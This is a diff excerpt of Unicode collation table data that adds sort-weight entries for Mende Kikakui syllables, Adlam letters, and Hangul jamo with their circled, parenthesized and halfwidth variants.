+1E829 ; [.3B37.0020.0002] # MENDE KIKAKUI SYLLABLE M137 EI
+1E82A ; [.3B38.0020.0002] # MENDE KIKAKUI SYLLABLE M131 IN
+1E82B ; [.3B39.0020.0002] # MENDE KIKAKUI SYLLABLE M135 IN
+1E82C ; [.3B3A.0020.0002] # MENDE KIKAKUI SYLLABLE M195 AN
+1E82D ; [.3B3B.0020.0002] # MENDE KIKAKUI SYLLABLE M178 EN
+1E82E ; [.3B3C.0020.0002] # MENDE KIKAKUI SYLLABLE M019 SI
+1E82F ; [.3B3D.0020.0002] # MENDE KIKAKUI SYLLABLE M020 SA
+1E830 ; [.3B3E.0020.0002] # MENDE KIKAKUI SYLLABLE M021 SU
+1E831 ; [.3B3F.0020.0002] # MENDE KIKAKUI SYLLABLE M162 SEE
+1E832 ; [.3B40.0020.0002] # MENDE KIKAKUI SYLLABLE M116 SE
+1E833 ; [.3B41.0020.0002] # MENDE KIKAKUI SYLLABLE M136 SOO
+1E834 ; [.3B42.0020.0002] # MENDE KIKAKUI SYLLABLE M079 SO
+1E835 ; [.3B43.0020.0002] # MENDE KIKAKUI SYLLABLE M196 SIA
+1E836 ; [.3B44.0020.0002] # MENDE KIKAKUI SYLLABLE M025 LI
+1E837 ; [.3B45.0020.0002] # MENDE KIKAKUI SYLLABLE M026 LA
+1E838 ; [.3B46.0020.0002] # MENDE KIKAKUI SYLLABLE M027 LU
+1E839 ; [.3B47.0020.0002] # MENDE KIKAKUI SYLLABLE M084 LEE
+1E83A ; [.3B48.0020.0002] # MENDE KIKAKUI SYLLABLE M073 LE
+1E83B ; [.3B49.0020.0002] # MENDE KIKAKUI SYLLABLE M054 LOO
+1E83C ; [.3B4A.0020.0002] # MENDE KIKAKUI SYLLABLE M153 LO
+1E83D ; [.3B4B.0020.0002] # MENDE KIKAKUI SYLLABLE M110 LONG LE
+1E83E ; [.3B4C.0020.0002] # MENDE KIKAKUI SYLLABLE M016 DI
+1E83F ; [.3B4D.0020.0002] # MENDE KIKAKUI SYLLABLE M017 DA
+1E840 ; [.3B4E.0020.0002] # MENDE KIKAKUI SYLLABLE M018 DU
+1E841 ; [.3B4F.0020.0002] # MENDE KIKAKUI SYLLABLE M089 DEE
+1E842 ; [.3B50.0020.0002] # MENDE KIKAKUI SYLLABLE M180 DOO
+1E843 ; [.3B51.0020.0002] # MENDE KIKAKUI SYLLABLE M181 DO
+1E844 ; [.3B52.0020.0002] # MENDE KIKAKUI SYLLABLE M022 TI
+1E845 ; [.3B53.0020.0002] # MENDE KIKAKUI SYLLABLE M023 TA
+1E846 ; [.3B54.0020.0002] # MENDE KIKAKUI SYLLABLE M024 TU
+1E847 ; [.3B55.0020.0002] # MENDE KIKAKUI SYLLABLE M091 TEE
+1E848 ; [.3B56.0020.0002] # MENDE KIKAKUI SYLLABLE M055 TE
+1E849 ; [.3B57.0020.0002] # MENDE KIKAKUI SYLLABLE M104 TOO
+1E84A ; [.3B58.0020.0002] # MENDE KIKAKUI SYLLABLE M069 TO
+1E84B ; [.3B59.0020.0002] # MENDE KIKAKUI SYLLABLE M028 JI
+1E84C ; [.3B5A.0020.0002] # MENDE KIKAKUI SYLLABLE M029 JA
+1E84D ; [.3B5B.0020.0002] # MENDE KIKAKUI SYLLABLE M030 JU
+1E84E ; [.3B5C.0020.0002] # MENDE KIKAKUI SYLLABLE M157 JEE
+1E84F ; [.3B5D.0020.0002] # MENDE KIKAKUI SYLLABLE M113 JE
+1E850 ; [.3B5E.0020.0002] # MENDE KIKAKUI SYLLABLE M160 JOO
+1E851 ; [.3B5F.0020.0002] # MENDE KIKAKUI SYLLABLE M063 JO
+1E852 ; [.3B60.0020.0002] # MENDE KIKAKUI SYLLABLE M175 LONG JO
+1E853 ; [.3B61.0020.0002] # MENDE KIKAKUI SYLLABLE M031 YI
+1E854 ; [.3B62.0020.0002] # MENDE KIKAKUI SYLLABLE M032 YA
+1E855 ; [.3B63.0020.0002] # MENDE KIKAKUI SYLLABLE M033 YU
+1E856 ; [.3B64.0020.0002] # MENDE KIKAKUI SYLLABLE M109 YEE
+1E857 ; [.3B65.0020.0002] # MENDE KIKAKUI SYLLABLE M080 YE
+1E858 ; [.3B66.0020.0002] # MENDE KIKAKUI SYLLABLE M141 YOO
+1E859 ; [.3B67.0020.0002] # MENDE KIKAKUI SYLLABLE M121 YO
+1E85A ; [.3B68.0020.0002] # MENDE KIKAKUI SYLLABLE M034 FI
+1E85B ; [.3B69.0020.0002] # MENDE KIKAKUI SYLLABLE M035 FA
+1E85C ; [.3B6A.0020.0002] # MENDE KIKAKUI SYLLABLE M036 FU
+1E85D ; [.3B6B.0020.0002] # MENDE KIKAKUI SYLLABLE M078 FEE
+1E85E ; [.3B6C.0020.0002] # MENDE KIKAKUI SYLLABLE M075 FE
+1E85F ; [.3B6D.0020.0002] # MENDE KIKAKUI SYLLABLE M133 FOO
+1E860 ; [.3B6E.0020.0002] # MENDE KIKAKUI SYLLABLE M088 FO
+1E861 ; [.3B6F.0020.0002] # MENDE KIKAKUI SYLLABLE M197 FUA
+1E862 ; [.3B70.0020.0002] # MENDE KIKAKUI SYLLABLE M101 FAN
+1E863 ; [.3B71.0020.0002] # MENDE KIKAKUI SYLLABLE M037 NIN
+1E864 ; [.3B72.0020.0002] # MENDE KIKAKUI SYLLABLE M038 NAN
+1E865 ; [.3B73.0020.0002] # MENDE KIKAKUI SYLLABLE M039 NUN
+1E866 ; [.3B74.0020.0002] # MENDE KIKAKUI SYLLABLE M117 NEN
+1E867 ; [.3B75.0020.0002] # MENDE KIKAKUI SYLLABLE M169 NON
+1E868 ; [.3B76.0020.0002] # MENDE KIKAKUI SYLLABLE M176 HI
+1E869 ; [.3B77.0020.0002] # MENDE KIKAKUI SYLLABLE M041 HA
+1E86A ; [.3B78.0020.0002] # MENDE KIKAKUI SYLLABLE M186 HU
+1E86B ; [.3B79.0020.0002] # MENDE KIKAKUI SYLLABLE M040 HEE
+1E86C ; [.3B7A.0020.0002] # MENDE KIKAKUI SYLLABLE M096 HE
+1E86D ; [.3B7B.0020.0002] # MENDE KIKAKUI SYLLABLE M042 HOO
+1E86E ; [.3B7C.0020.0002] # MENDE KIKAKUI SYLLABLE M140 HO
+1E86F ; [.3B7D.0020.0002] # MENDE KIKAKUI SYLLABLE M083 HEEI
+1E870 ; [.3B7E.0020.0002] # MENDE KIKAKUI SYLLABLE M128 HOOU
+1E871 ; [.3B7F.0020.0002] # MENDE KIKAKUI SYLLABLE M053 HIN
+1E872 ; [.3B80.0020.0002] # MENDE KIKAKUI SYLLABLE M130 HAN
+1E873 ; [.3B81.0020.0002] # MENDE KIKAKUI SYLLABLE M087 HUN
+1E874 ; [.3B82.0020.0002] # MENDE KIKAKUI SYLLABLE M052 HEN
+1E875 ; [.3B83.0020.0002] # MENDE KIKAKUI SYLLABLE M193 HON
+1E876 ; [.3B84.0020.0002] # MENDE KIKAKUI SYLLABLE M046 HUAN
+1E877 ; [.3B85.0020.0002] # MENDE KIKAKUI SYLLABLE M090 NGGI
+1E878 ; [.3B86.0020.0002] # MENDE KIKAKUI SYLLABLE M043 NGGA
+1E879 ; [.3B87.0020.0002] # MENDE KIKAKUI SYLLABLE M082 NGGU
+1E87A ; [.3B88.0020.0002] # MENDE KIKAKUI SYLLABLE M115 NGGEE
+1E87B ; [.3B89.0020.0002] # MENDE KIKAKUI SYLLABLE M146 NGGE
+1E87C ; [.3B8A.0020.0002] # MENDE KIKAKUI SYLLABLE M156 NGGOO
+1E87D ; [.3B8B.0020.0002] # MENDE KIKAKUI SYLLABLE M120 NGGO
+1E87E ; [.3B8C.0020.0002] # MENDE KIKAKUI SYLLABLE M159 NGGAA
+1E87F ; [.3B8D.0020.0002] # MENDE KIKAKUI SYLLABLE M127 NGGUA
+1E880 ; [.3B8E.0020.0002] # MENDE KIKAKUI SYLLABLE M086 LONG NGGE
+1E881 ; [.3B8F.0020.0002] # MENDE KIKAKUI SYLLABLE M106 LONG NGGOO
+1E882 ; [.3B90.0020.0002] # MENDE KIKAKUI SYLLABLE M183 LONG NGGO
+1E883 ; [.3B91.0020.0002] # MENDE KIKAKUI SYLLABLE M155 GI
+1E884 ; [.3B92.0020.0002] # MENDE KIKAKUI SYLLABLE M111 GA
+1E885 ; [.3B93.0020.0002] # MENDE KIKAKUI SYLLABLE M168 GU
+1E886 ; [.3B94.0020.0002] # MENDE KIKAKUI SYLLABLE M190 GEE
+1E887 ; [.3B95.0020.0002] # MENDE KIKAKUI SYLLABLE M166 GUEI
+1E888 ; [.3B96.0020.0002] # MENDE KIKAKUI SYLLABLE M167 GUAN
+1E889 ; [.3B97.0020.0002] # MENDE KIKAKUI SYLLABLE M184 NGEN
+1E88A ; [.3B98.0020.0002] # MENDE KIKAKUI SYLLABLE M057 NGON
+1E88B ; [.3B99.0020.0002] # MENDE KIKAKUI SYLLABLE M177 NGUAN
+1E88C ; [.3B9A.0020.0002] # MENDE KIKAKUI SYLLABLE M068 PI
+1E88D ; [.3B9B.0020.0002] # MENDE KIKAKUI SYLLABLE M099 PA
+1E88E ; [.3B9C.0020.0002] # MENDE KIKAKUI SYLLABLE M050 PU
+1E88F ; [.3B9D.0020.0002] # MENDE KIKAKUI SYLLABLE M081 PEE
+1E890 ; [.3B9E.0020.0002] # MENDE KIKAKUI SYLLABLE M051 PE
+1E891 ; [.3B9F.0020.0002] # MENDE KIKAKUI SYLLABLE M102 POO
+1E892 ; [.3BA0.0020.0002] # MENDE KIKAKUI SYLLABLE M066 PO
+1E893 ; [.3BA1.0020.0002] # MENDE KIKAKUI SYLLABLE M145 MBI
+1E894 ; [.3BA2.0020.0002] # MENDE KIKAKUI SYLLABLE M062 MBA
+1E895 ; [.3BA3.0020.0002] # MENDE KIKAKUI SYLLABLE M122 MBU
+1E896 ; [.3BA4.0020.0002] # MENDE KIKAKUI SYLLABLE M047 MBEE
+1E897 ; [.3BA5.0020.0002] # MENDE KIKAKUI SYLLABLE M188 MBEE
+1E898 ; [.3BA6.0020.0002] # MENDE KIKAKUI SYLLABLE M072 MBE
+1E899 ; [.3BA7.0020.0002] # MENDE KIKAKUI SYLLABLE M172 MBOO
+1E89A ; [.3BA8.0020.0002] # MENDE KIKAKUI SYLLABLE M174 MBO
+1E89B ; [.3BA9.0020.0002] # MENDE KIKAKUI SYLLABLE M187 MBUU
+1E89C ; [.3BAA.0020.0002] # MENDE KIKAKUI SYLLABLE M161 LONG MBE
+1E89D ; [.3BAB.0020.0002] # MENDE KIKAKUI SYLLABLE M105 LONG MBOO
+1E89E ; [.3BAC.0020.0002] # MENDE KIKAKUI SYLLABLE M142 LONG MBO
+1E89F ; [.3BAD.0020.0002] # MENDE KIKAKUI SYLLABLE M132 KPI
+1E8A0 ; [.3BAE.0020.0002] # MENDE KIKAKUI SYLLABLE M092 KPA
+1E8A1 ; [.3BAF.0020.0002] # MENDE KIKAKUI SYLLABLE M074 KPU
+1E8A2 ; [.3BB0.0020.0002] # MENDE KIKAKUI SYLLABLE M044 KPEE
+1E8A3 ; [.3BB1.0020.0002] # MENDE KIKAKUI SYLLABLE M108 KPE
+1E8A4 ; [.3BB2.0020.0002] # MENDE KIKAKUI SYLLABLE M112 KPOO
+1E8A5 ; [.3BB3.0020.0002] # MENDE KIKAKUI SYLLABLE M158 KPO
+1E8A6 ; [.3BB4.0020.0002] # MENDE KIKAKUI SYLLABLE M124 GBI
+1E8A7 ; [.3BB5.0020.0002] # MENDE KIKAKUI SYLLABLE M056 GBA
+1E8A8 ; [.3BB6.0020.0002] # MENDE KIKAKUI SYLLABLE M148 GBU
+1E8A9 ; [.3BB7.0020.0002] # MENDE KIKAKUI SYLLABLE M093 GBEE
+1E8AA ; [.3BB8.0020.0002] # MENDE KIKAKUI SYLLABLE M107 GBE
+1E8AB ; [.3BB9.0020.0002] # MENDE KIKAKUI SYLLABLE M071 GBOO
+1E8AC ; [.3BBA.0020.0002] # MENDE KIKAKUI SYLLABLE M070 GBO
+1E8AD ; [.3BBB.0020.0002] # MENDE KIKAKUI SYLLABLE M171 RA
+1E8AE ; [.3BBC.0020.0002] # MENDE KIKAKUI SYLLABLE M123 NDI
+1E8AF ; [.3BBD.0020.0002] # MENDE KIKAKUI SYLLABLE M129 NDA
+1E8B0 ; [.3BBE.0020.0002] # MENDE KIKAKUI SYLLABLE M125 NDU
+1E8B1 ; [.3BBF.0020.0002] # MENDE KIKAKUI SYLLABLE M191 NDEE
+1E8B2 ; [.3BC0.0020.0002] # MENDE KIKAKUI SYLLABLE M119 NDE
+1E8B3 ; [.3BC1.0020.0002] # MENDE KIKAKUI SYLLABLE M067 NDOO
+1E8B4 ; [.3BC2.0020.0002] # MENDE KIKAKUI SYLLABLE M064 NDO
+1E8B5 ; [.3BC3.0020.0002] # MENDE KIKAKUI SYLLABLE M152 NJA
+1E8B6 ; [.3BC4.0020.0002] # MENDE KIKAKUI SYLLABLE M192 NJU
+1E8B7 ; [.3BC5.0020.0002] # MENDE KIKAKUI SYLLABLE M149 NJEE
+1E8B8 ; [.3BC6.0020.0002] # MENDE KIKAKUI SYLLABLE M134 NJOO
+1E8B9 ; [.3BC7.0020.0002] # MENDE KIKAKUI SYLLABLE M182 VI
+1E8BA ; [.3BC8.0020.0002] # MENDE KIKAKUI SYLLABLE M185 VA
+1E8BB ; [.3BC9.0020.0002] # MENDE KIKAKUI SYLLABLE M151 VU
+1E8BC ; [.3BCA.0020.0002] # MENDE KIKAKUI SYLLABLE M173 VEE
+1E8BD ; [.3BCB.0020.0002] # MENDE KIKAKUI SYLLABLE M085 VE
+1E8BE ; [.3BCC.0020.0002] # MENDE KIKAKUI SYLLABLE M144 VOO
+1E8BF ; [.3BCD.0020.0002] # MENDE KIKAKUI SYLLABLE M077 VO
+1E8C0 ; [.3BCE.0020.0002] # MENDE KIKAKUI SYLLABLE M164 NYIN
+1E8C1 ; [.3BCF.0020.0002] # MENDE KIKAKUI SYLLABLE M058 NYAN
+1E8C2 ; [.3BD0.0020.0002] # MENDE KIKAKUI SYLLABLE M170 NYUN
+1E8C3 ; [.3BD1.0020.0002] # MENDE KIKAKUI SYLLABLE M098 NYEN
+1E8C4 ; [.3BD2.0020.0002] # MENDE KIKAKUI SYLLABLE M060 NYON
+1E922 ; [.3BD3.0020.0002] # ADLAM SMALL LETTER ALIF
+1E900 ; [.3BD3.0020.0008] # ADLAM CAPITAL LETTER ALIF
+1E923 ; [.3BD4.0020.0002] # ADLAM SMALL LETTER DAALI
+1E901 ; [.3BD4.0020.0008] # ADLAM CAPITAL LETTER DAALI
+1E924 ; [.3BD5.0020.0002] # ADLAM SMALL LETTER LAAM
+1E902 ; [.3BD5.0020.0008] # ADLAM CAPITAL LETTER LAAM
+1E925 ; [.3BD6.0020.0002] # ADLAM SMALL LETTER MIIM
+1E903 ; [.3BD6.0020.0008] # ADLAM CAPITAL LETTER MIIM
+1E926 ; [.3BD7.0020.0002] # ADLAM SMALL LETTER BA
+1E904 ; [.3BD7.0020.0008] # ADLAM CAPITAL LETTER BA
+1E927 ; [.3BD8.0020.0002] # ADLAM SMALL LETTER SINNYIIYHE
+1E905 ; [.3BD8.0020.0008] # ADLAM CAPITAL LETTER SINNYIIYHE
+1E928 ; [.3BD9.0020.0002] # ADLAM SMALL LETTER PE
+1E906 ; [.3BD9.0020.0008] # ADLAM CAPITAL LETTER PE
+1E929 ; [.3BDA.0020.0002] # ADLAM SMALL LETTER BHE
+1E907 ; [.3BDA.0020.0008] # ADLAM CAPITAL LETTER BHE
+1E92A ; [.3BDB.0020.0002] # ADLAM SMALL LETTER RA
+1E908 ; [.3BDB.0020.0008] # ADLAM CAPITAL LETTER RA
+1E92B ; [.3BDC.0020.0002] # ADLAM SMALL LETTER E
+1E909 ; [.3BDC.0020.0008] # ADLAM CAPITAL LETTER E
+1E92C ; [.3BDD.0020.0002] # ADLAM SMALL LETTER FA
+1E90A ; [.3BDD.0020.0008] # ADLAM CAPITAL LETTER FA
+1E92D ; [.3BDE.0020.0002] # ADLAM SMALL LETTER I
+1E90B ; [.3BDE.0020.0008] # ADLAM CAPITAL LETTER I
+1E92E ; [.3BDF.0020.0002] # ADLAM SMALL LETTER O
+1E90C ; [.3BDF.0020.0008] # ADLAM CAPITAL LETTER O
+1E92F ; [.3BE0.0020.0002] # ADLAM SMALL LETTER DHA
+1E90D ; [.3BE0.0020.0008] # ADLAM CAPITAL LETTER DHA
+1E930 ; [.3BE1.0020.0002] # ADLAM SMALL LETTER YHE
+1E90E ; [.3BE1.0020.0008] # ADLAM CAPITAL LETTER YHE
+1E931 ; [.3BE2.0020.0002] # ADLAM SMALL LETTER WAW
+1E90F ; [.3BE2.0020.0008] # ADLAM CAPITAL LETTER WAW
+1E932 ; [.3BE3.0020.0002] # ADLAM SMALL LETTER NUN
+1E910 ; [.3BE3.0020.0008] # ADLAM CAPITAL LETTER NUN
+1E933 ; [.3BE4.0020.0002] # ADLAM SMALL LETTER KAF
+1E911 ; [.3BE4.0020.0008] # ADLAM CAPITAL LETTER KAF
+1E934 ; [.3BE5.0020.0002] # ADLAM SMALL LETTER YA
+1E912 ; [.3BE5.0020.0008] # ADLAM CAPITAL LETTER YA
+1E935 ; [.3BE6.0020.0002] # ADLAM SMALL LETTER U
+1E913 ; [.3BE6.0020.0008] # ADLAM CAPITAL LETTER U
+1E936 ; [.3BE7.0020.0002] # ADLAM SMALL LETTER JIIM
+1E914 ; [.3BE7.0020.0008] # ADLAM CAPITAL LETTER JIIM
+1E937 ; [.3BE8.0020.0002] # ADLAM SMALL LETTER CHI
+1E915 ; [.3BE8.0020.0008] # ADLAM CAPITAL LETTER CHI
+1E938 ; [.3BE9.0020.0002] # ADLAM SMALL LETTER HA
+1E916 ; [.3BE9.0020.0008] # ADLAM CAPITAL LETTER HA
+1E939 ; [.3BEA.0020.0002] # ADLAM SMALL LETTER QAAF
+1E917 ; [.3BEA.0020.0008] # ADLAM CAPITAL LETTER QAAF
+1E93A ; [.3BEB.0020.0002] # ADLAM SMALL LETTER GA
+1E918 ; [.3BEB.0020.0008] # ADLAM CAPITAL LETTER GA
+1E93B ; [.3BEC.0020.0002] # ADLAM SMALL LETTER NYA
+1E919 ; [.3BEC.0020.0008] # ADLAM CAPITAL LETTER NYA
+1E93C ; [.3BED.0020.0002] # ADLAM SMALL LETTER TU
+1E91A ; [.3BED.0020.0008] # ADLAM CAPITAL LETTER TU
+1E93D ; [.3BEE.0020.0002] # ADLAM SMALL LETTER NHA
+1E91B ; [.3BEE.0020.0008] # ADLAM CAPITAL LETTER NHA
+1E93E ; [.3BEF.0020.0002] # ADLAM SMALL LETTER VA
+1E91C ; [.3BEF.0020.0008] # ADLAM CAPITAL LETTER VA
+1E93F ; [.3BF0.0020.0002] # ADLAM SMALL LETTER KHA
+1E91D ; [.3BF0.0020.0008] # ADLAM CAPITAL LETTER KHA
+1E940 ; [.3BF1.0020.0002] # ADLAM SMALL LETTER GBE
+1E91E ; [.3BF1.0020.0008] # ADLAM CAPITAL LETTER GBE
+1E941 ; [.3BF2.0020.0002] # ADLAM SMALL LETTER ZAL
+1E91F ; [.3BF2.0020.0008] # ADLAM CAPITAL LETTER ZAL
+1E942 ; [.3BF3.0020.0002] # ADLAM SMALL LETTER KPO
+1E920 ; [.3BF3.0020.0008] # ADLAM CAPITAL LETTER KPO
+1E943 ; [.3BF4.0020.0002] # ADLAM SMALL LETTER SHA
+1E921 ; [.3BF4.0020.0008] # ADLAM CAPITAL LETTER SHA
+1100  ; [.3BF5.0020.0002] # HANGUL CHOSEONG KIYEOK
+3131  ; [.3BF5.0020.0004] # HANGUL LETTER KIYEOK
+3200  ; [*0317.0020.0004][.3BF5.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KIYEOK
+3260  ; [.3BF5.0020.0006] # CIRCLED HANGUL KIYEOK
+FFA1  ; [.3BF5.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK
+320E  ; [*0317.0020.0004][.3BF5.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KIYEOK A
+326E  ; [.3BF5.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL KIYEOK A
+1101  ; [.3BF6.0020.0002] # HANGUL CHOSEONG SSANGKIYEOK
+3132  ; [.3BF6.0020.0004] # HANGUL LETTER SSANGKIYEOK
+FFA2  ; [.3BF6.0020.0012] # HALFWIDTH HANGUL LETTER SSANGKIYEOK
+1102  ; [.3BF7.0020.0002] # HANGUL CHOSEONG NIEUN
+3134  ; [.3BF7.0020.0004] # HANGUL LETTER NIEUN
+3201  ; [*0317.0020.0004][.3BF7.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL NIEUN
+3261  ; [.3BF7.0020.0006] # CIRCLED HANGUL NIEUN
+FFA4  ; [.3BF7.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN
+320F  ; [*0317.0020.0004][.3BF7.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL NIEUN A
+326F  ; [.3BF7.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL NIEUN A
+1103  ; [.3BF8.0020.0002] # HANGUL CHOSEONG TIKEUT
+3137  ; [.3BF8.0020.0004] # HANGUL LETTER TIKEUT
+3202  ; [*0317.0020.0004][.3BF8.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL TIKEUT
+3262  ; [.3BF8.0020.0006] # CIRCLED HANGUL TIKEUT
+FFA7  ; [.3BF8.0020.0012] # HALFWIDTH HANGUL LETTER TIKEUT
+3210  ; [*0317.0020.0004][.3BF8.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL TIKEUT A
+3270  ; [.3BF8.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL TIKEUT A
+1104  ; [.3BF9.0020.0002] # HANGUL CHOSEONG SSANGTIKEUT
+3138  ; [.3BF9.0020.0004] # HANGUL LETTER SSANGTIKEUT
+FFA8  ; [.3BF9.0020.0012] # HALFWIDTH HANGUL LETTER SSANGTIKEUT
+1105  ; [.3BFA.0020.0002] # HANGUL CHOSEONG RIEUL
+3139  ; [.3BFA.0020.0004] # HANGUL LETTER RIEUL
+3203  ; [*0317.0020.0004][.3BFA.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL RIEUL
+3263  ; [.3BFA.0020.0006] # CIRCLED HANGUL RIEUL
+FFA9  ; [.3BFA.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL
+3211  ; [*0317.0020.0004][.3BFA.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL RIEUL A
+3271  ; [.3BFA.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL RIEUL A
+1106  ; [.3BFB.0020.0002] # HANGUL CHOSEONG MIEUM
+3141  ; [.3BFB.0020.0004] # HANGUL LETTER MIEUM
+3204  ; [*0317.0020.0004][.3BFB.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL MIEUM
+3264  ; [.3BFB.0020.0006] # CIRCLED HANGUL MIEUM
+FFB1  ; [.3BFB.0020.0012] # HALFWIDTH HANGUL LETTER MIEUM
+3212  ; [*0317.0020.0004][.3BFB.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL MIEUM A
+3272  ; [.3BFB.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL MIEUM A
+1107  ; [.3BFC.0020.0002] # HANGUL CHOSEONG PIEUP
+3142  ; [.3BFC.0020.0004] # HANGUL LETTER PIEUP
+3205  ; [*0317.0020.0004][.3BFC.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PIEUP
+3265  ; [.3BFC.0020.0006] # CIRCLED HANGUL PIEUP
+FFB2  ; [.3BFC.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP
+3213  ; [*0317.0020.0004][.3BFC.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PIEUP A
+3273  ; [.3BFC.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL PIEUP A
+1108  ; [.3BFD.0020.0002] # HANGUL CHOSEONG SSANGPIEUP
+3143  ; [.3BFD.0020.0004] # HANGUL LETTER SSANGPIEUP
+FFB3  ; [.3BFD.0020.0012] # HALFWIDTH HANGUL LETTER SSANGPIEUP
+1109  ; [.3BFE.0020.0002] # HANGUL CHOSEONG SIOS
+3145  ; [.3BFE.0020.0004] # HANGUL LETTER SIOS
+3206  ; [*0317.0020.0004][.3BFE.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL SIOS
+3266  ; [.3BFE.0020.0006] # CIRCLED HANGUL SIOS
+FFB5  ; [.3BFE.0020.0012] # HALFWIDTH HANGUL LETTER SIOS
+3214  ; [*0317.0020.0004][.3BFE.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL SIOS A
+3274  ; [.3BFE.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL SIOS A
+110A  ; [.3BFF.0020.0002] # HANGUL CHOSEONG SSANGSIOS
+3146  ; [.3BFF.0020.0004] # HANGUL LETTER SSANGSIOS
+FFB6  ; [.3BFF.0020.0012] # HALFWIDTH HANGUL LETTER SSANGSIOS
+110B  ; [.3C00.0020.0002] # HANGUL CHOSEONG IEUNG
+3147  ; [.3C00.0020.0004] # HANGUL LETTER IEUNG
+3207  ; [*0317.0020.0004][.3C00.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL IEUNG
+3267  ; [.3C00.0020.0006] # CIRCLED HANGUL IEUNG
+FFB7  ; [.3C00.0020.0012] # HALFWIDTH HANGUL LETTER IEUNG
+3215  ; [*0317.0020.0004][.3C00.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL IEUNG A
+3275  ; [.3C00.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL IEUNG A
+321D  ; [*0317.0020.0004][.3C00.0020.0004][.3C7B.0020.0004][.3C01.0020.0004][.3C77.0020.0004][.3CD4.0020.0004][*0318.0020.0004] # PARENTHESIZED KOREAN CHARACTER OJEON
+321E  ; [*0317.0020.0004][.3C00.0020.0004][.3C7B.0020.0004][.3C07.0020.0004][.3C80.0020.0004][*0318.0020.0004] # PARENTHESIZED KOREAN CHARACTER O HU
+327E  ; [.3C00.0020.0006][.3C80.0020.0006] # CIRCLED HANGUL IEUNG U
+110C  ; [.3C01.0020.0002] # HANGUL CHOSEONG CIEUC
+3148  ; [.3C01.0020.0004] # HANGUL LETTER CIEUC
+3208  ; [*0317.0020.0004][.3C01.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CIEUC
+3268  ; [.3C01.0020.0006] # CIRCLED HANGUL CIEUC
+FFB8  ; [.3C01.0020.0012] # HALFWIDTH HANGUL LETTER CIEUC
+3216  ; [*0317.0020.0004][.3C01.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CIEUC A
+3276  ; [.3C01.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL CIEUC A
+321C  ; [*0317.0020.0004][.3C01.0020.0004][.3C80.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CIEUC U
+327D  ; [.3C01.0020.0006][.3C80.0020.0006][.3C00.0020.0006][.3C86.0020.0006] # CIRCLED KOREAN CHARACTER JUEUI
+110D  ; [.3C02.0020.0002] # HANGUL CHOSEONG SSANGCIEUC
+3149  ; [.3C02.0020.0004] # HANGUL LETTER SSANGCIEUC
+FFB9  ; [.3C02.0020.0012] # HALFWIDTH HANGUL LETTER SSANGCIEUC
+110E  ; [.3C03.0020.0002] # HANGUL CHOSEONG CHIEUCH
+314A  ; [.3C03.0020.0004] # HANGUL LETTER CHIEUCH
+3209  ; [*0317.0020.0004][.3C03.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CHIEUCH
+3269  ; [.3C03.0020.0006] # CIRCLED HANGUL CHIEUCH
+FFBA  ; [.3C03.0020.0012] # HALFWIDTH HANGUL LETTER CHIEUCH
+3217  ; [*0317.0020.0004][.3C03.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL CHIEUCH A
+3277  ; [.3C03.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL CHIEUCH A
+327C  ; [.3C03.0020.0006][.3C73.0020.0006][.3CE0.0020.0006][.3BF5.0020.0006][.3C7B.0020.0006] # CIRCLED KOREAN CHARACTER CHAMKO
+110F  ; [.3C04.0020.0002] # HANGUL CHOSEONG KHIEUKH
+314B  ; [.3C04.0020.0004] # HANGUL LETTER KHIEUKH
+320A  ; [*0317.0020.0004][.3C04.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KHIEUKH
+326A  ; [.3C04.0020.0006] # CIRCLED HANGUL KHIEUKH
+FFBB  ; [.3C04.0020.0012] # HALFWIDTH HANGUL LETTER KHIEUKH
+3218  ; [*0317.0020.0004][.3C04.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL KHIEUKH A
+3278  ; [.3C04.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL KHIEUKH A
+1110  ; [.3C05.0020.0002] # HANGUL CHOSEONG THIEUTH
+314C  ; [.3C05.0020.0004] # HANGUL LETTER THIEUTH
+320B  ; [*0317.0020.0004][.3C05.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL THIEUTH
+326B  ; [.3C05.0020.0006] # CIRCLED HANGUL THIEUTH
+FFBC  ; [.3C05.0020.0012] # HALFWIDTH HANGUL LETTER THIEUTH
+3219  ; [*0317.0020.0004][.3C05.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL THIEUTH A
+3279  ; [.3C05.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL THIEUTH A
